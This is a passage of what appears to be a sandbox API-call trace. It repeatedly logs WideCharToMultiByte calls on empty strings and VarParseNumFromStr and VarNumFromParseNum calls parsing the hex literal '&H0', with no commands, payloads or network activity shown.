lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.187] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.187] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.187] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.187] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.188] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.188] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.188] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.188] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.189] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.189] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.189] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.189] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.191] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.191] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.192] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.192] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.192] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.192] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.193] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.193] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.193] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.193] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.194] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.194] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.194] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.194] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.195] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.195] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.195] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.195] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.195] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.195] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.196] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.196] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.196] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.196] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.197] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.197] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.197] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.197] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.198] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.198] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.198] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.198] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.199] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.199] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.199] WideCharToMultiByte (in: CodePage=0x0, 